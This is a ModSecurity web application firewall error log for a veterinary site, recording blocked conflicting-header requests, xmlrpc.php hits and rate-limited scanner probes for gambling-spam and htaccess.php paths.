[Sun Mar 22 20:12:13.798122 2026] [:error] [pid 51361:tid 51388] [client 170.106.180.246:42620] [client 170.106.180.246] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ab_cnRXYUsdvKC9YWpXdcAAAABA"]
[Sun Mar 22 21:26:39.480311 2026] [:error] [pid 40039:tid 40058] [client 186.82.85.200:3601] [client 186.82.85.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.82.85.200, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ab_uDx3aDgUJfBYishnI5gAAARE"]
[Sun Mar 22 23:46:34.984752 2026] [:error] [pid 30166:tid 30171] [client 43.131.243.61:52230] [client 43.131.243.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acAO2rm4_26jKMD0zy1DUwAAAUE"]
[Mon Mar 23 02:39:04.191261 2026] [:error] [pid 20574:tid 20606] [client 43.130.139.136:50800] [client 43.130.139.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acA3SNdMXEnEZrwyzJkWIAAAABE"]
[Mon Mar 23 02:52:03.156591 2026] [:error] [pid 20587:tid 20658] [client 20.115.24.110:33995] [client 20.115.24.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "acA6U4Byf8r3QAk4VXP9RgAAAI8"]
[Mon Mar 23 02:52:04.013643 2026] [:error] [pid 20856:tid 20920] [client 20.115.24.110:33989] [client 20.115.24.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "acA6VMxFtXFVNE-X2-KvvgAAAME"]
[Mon Mar 23 02:52:04.842339 2026] [:error] [pid 20574:tid 20597] [client 20.115.24.110:22634] [client 20.115.24.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "acA6VNdMXEnEZrwyzJkaeQAAAAg"]
[Mon Mar 23 02:52:05.674089 2026] [:error] [pid 20856:tid 20925] [client 20.115.24.110:29982] [client 20.115.24.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "acA6VcxFtXFVNE-X2-KvxQAAAMY"]
[Mon Mar 23 03:06:11.159185 2026] [:error] [pid 20856:tid 20919] [client 216.73.216.149:55047] [client 216.73.216.149] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acA9o8xFtXFVNE-X2-K2yAAAAMA"]
[Mon Mar 23 04:48:36.691251 2026] [:error] [pid 23441:tid 23523] [client 216.73.216.149:44156] [client 216.73.216.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.149, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acBVpBq7S-oOqSXZEr5FVgAAAJQ"]
[Mon Mar 23 06:46:51.149004 2026] [:error] [pid 23440:tid 23484] [client 95.91.110.210:7760] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acBxWz49_8n8h_ttcUrW2QAAAEg"]
[Mon Mar 23 06:46:54.177190 2026] [:error] [pid 57265:tid 57284] [client 95.91.110.210:60498] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acBxXmNLjPJJkhuqCsjDjgAAARE"]
[Mon Mar 23 06:46:57.118753 2026] [:error] [pid 14573:tid 14585] [client 95.91.110.210:60508] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acBxYe-oSmHn3q4_J1HLBAAAAUo"]
[Mon Mar 23 06:46:59.834285 2026] [:error] [pid 14573:tid 14580] [client 95.91.110.210:60518] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acBxY--oSmHn3q4_J1HLDQAAAUU"]
[Mon Mar 23 06:47:02.558137 2026] [:error] [pid 14573:tid 14575] [client 95.91.110.210:60528] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acBxZu-oSmHn3q4_J1HLEwAAAUA"]
[Mon Mar 23 06:47:05.380563 2026] [:error] [pid 23439:tid 23461] [client 95.91.110.210:42428] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acBxaaZv8XIzUKdgaMdFUgAAAAw"]
[Mon Mar 23 06:47:09.396059 2026] [:error] [pid 14573:tid 14592] [client 95.91.110.210:42440] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acBxbe-oSmHn3q4_J1HLIgAAAVE"]
[Mon Mar 23 06:47:12.337889 2026] [:error] [pid 23441:tid 23521] [client 95.91.110.210:42456] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acBxcBq7S-oOqSXZEr5kTgAAAJI"]
[Mon Mar 23 06:47:15.160748 2026] [:error] [pid 57265:tid 57283] [client 95.91.110.210:37746] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acBxc2NLjPJJkhuqCsjDnQAAARA"]
[Mon Mar 23 06:47:19.740810 2026] [:error] [pid 23440:tid 23497] [client 95.91.110.210:37758] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acBxdz49_8n8h_ttcUrW6wAAAFU"]
[Mon Mar 23 06:47:22.673485 2026] [:error] [pid 23441:tid 23521] [client 95.91.110.210:18492] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acBxehq7S-oOqSXZEr5kWgAAAJI"]
[Mon Mar 23 06:47:25.604915 2026] [:error] [pid 23441:tid 23526] [client 95.91.110.210:18508] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acBxfRq7S-oOqSXZEr5kXAAAAJc"]
[Mon Mar 23 06:47:28.480307 2026] [:error] [pid 14573:tid 14596] [client 95.91.110.210:18518] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acBxgO-oSmHn3q4_J1HLOwAAAVU"]
[Mon Mar 23 06:47:31.247702 2026] [:error] [pid 14573:tid 14585] [client 95.91.110.210:18534] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acBxg--oSmHn3q4_J1HLPgAAAUo"]
[Mon Mar 23 06:47:33.920067 2026] [:error] [pid 14573:tid 14596] [client 95.91.110.210:49566] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acBxhe-oSmHn3q4_J1HLQwAAAVU"]
[Mon Mar 23 06:47:36.462772 2026] [:error] [pid 57265:tid 57281] [client 95.91.110.210:49582] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acBxiGNLjPJJkhuqCsjDqgAAAQ4"]
[Mon Mar 23 06:47:39.258162 2026] [:error] [pid 14573:tid 14593] [client 95.91.110.210:49598] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "acBxi--oSmHn3q4_J1HLTwAAAVI"]
[Mon Mar 23 06:47:41.854126 2026] [:error] [pid 14573:tid 14580] [client 95.91.110.210:49608] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acBxje-oSmHn3q4_J1HLUQAAAUU"]
[Mon Mar 23 06:47:44.486172 2026] [:error] [pid 14573:tid 14591] [client 95.91.110.210:20112] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acBxkO-oSmHn3q4_J1HLVwAAAVA"]
[Mon Mar 23 06:48:50.523532 2026] [:error] [pid 23439:tid 23454] [client 95.91.110.210:20128] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "acBx0qZv8XIzUKdgaMdFgAAAAAU"]
[Mon Mar 23 06:48:54.430067 2026] [:error] [pid 57265:tid 57291] [client 95.91.110.210:4014] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acBx1mNLjPJJkhuqCsjD6AAAARg"]
[Mon Mar 23 06:48:57.297685 2026] [:error] [pid 23539:tid 23548] [client 95.91.110.210:4016] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acBx2X7Dh3qWGSpIAZVg9gAAAMA"]
[Mon Mar 23 06:49:00.007409 2026] [:error] [pid 14573:tid 14585] [client 95.91.110.210:4026] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "acBx3O-oSmHn3q4_J1HMXQAAAUo"]
[Mon Mar 23 06:49:03.850562 2026] [:error] [pid 23539:tid 23568] [client 95.91.110.210:38274] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acBx337Dh3qWGSpIAZVg-wAAANQ"]
[Mon Mar 23 06:49:06.750889 2026] [:error] [pid 14573:tid 14586] [client 95.91.110.210:38290] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acBx4u-oSmHn3q4_J1HMcwAAAUs"]
[Mon Mar 23 06:49:09.701155 2026] [:error] [pid 14573:tid 14577] [client 95.91.110.210:38292] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "acBx5e-oSmHn3q4_J1HMfgAAAUI"]
[Mon Mar 23 06:49:12.594629 2026] [:error] [pid 57265:tid 57289] [client 95.91.110.210:58228] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acBx6GNLjPJJkhuqCsjD9wAAARY"]
[Mon Mar 23 06:49:15.052123 2026] [:error] [pid 23440:tid 23496] [client 95.91.110.210:58236] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acBx6z49_8n8h_ttcUrXGwAAAFQ"]
[Mon Mar 23 06:49:17.892477 2026] [:error] [pid 23539:tid 23554] [client 95.91.110.210:58246] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acBx7X7Dh3qWGSpIAZVhBwAAAMY"]
[Mon Mar 23 06:49:20.585148 2026] [:error] [pid 23539:tid 23560] [client 95.91.110.210:58252] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acBx8H7Dh3qWGSpIAZVhEAAAAMw"]
[Mon Mar 23 06:49:23.460110 2026] [:error] [pid 14573:tid 14575] [client 95.91.110.210:28248] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acBx8--oSmHn3q4_J1HMlwAAAUA"]
[Mon Mar 23 06:49:27.732099 2026] [:error] [pid 14573:tid 14578] [client 95.91.110.210:28252] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acBx9--oSmHn3q4_J1HMngAAAUM"]
[Mon Mar 23 06:49:31.317769 2026] [:error] [pid 23439:tid 23471] [client 95.91.110.210:28258] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acBx-6Zv8XIzUKdgaMdFjQAAABY"]
[Mon Mar 23 06:49:34.960750 2026] [:error] [pid 23539:tid 23557] [client 95.91.110.210:46228] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acBx_n7Dh3qWGSpIAZVhKgAAAMk"]
[Mon Mar 23 06:49:37.785842 2026] [:error] [pid 57265:tid 57284] [client 95.91.110.210:46230] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acByAWNLjPJJkhuqCsjEDAAAARE"]
[Mon Mar 23 06:49:41.557862 2026] [:error] [pid 23441:tid 23521] [client 95.91.110.210:46234] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acByBRq7S-oOqSXZEr5kyQAAAJI"]
[Mon Mar 23 06:49:44.238394 2026] [:error] [pid 23440:tid 23487] [client 95.91.110.210:17342] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acByCD49_8n8h_ttcUrXIwAAAEs"]
[Mon Mar 23 06:50:41.671612 2026] [:error] [pid 14573:tid 14579] [client 95.91.110.210:17356] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acByQe-oSmHn3q4_J1HNKgAAAUQ"]
[Mon Mar 23 06:50:44.562927 2026] [:error] [pid 23539:tid 23570] [client 95.91.110.210:61788] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acByRH7Dh3qWGSpIAZVhrQAAANY"]
[Mon Mar 23 06:50:48.313226 2026] [:error] [pid 57265:tid 57291] [client 95.91.110.210:61798] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acBySGNLjPJJkhuqCsjEdgAAARg"]
[Mon Mar 23 06:50:51.042839 2026] [:error] [pid 14573:tid 14583] [client 95.91.110.210:61814] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acByS--oSmHn3q4_J1HNPAAAAUg"]
[Mon Mar 23 06:50:53.764253 2026] [:error] [pid 14573:tid 14591] [client 95.91.110.210:58068] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acByTe-oSmHn3q4_J1HNRAAAAVA"]
[Mon Mar 23 06:50:56.412733 2026] [:error] [pid 23441:tid 23516] [client 95.91.110.210:58078] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acByUBq7S-oOqSXZEr5lCgAAAI0"]
[Mon Mar 23 06:50:59.165523 2026] [:error] [pid 23441:tid 23512] [client 95.91.110.210:58084] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acByUxq7S-oOqSXZEr5lDAAAAIk"]
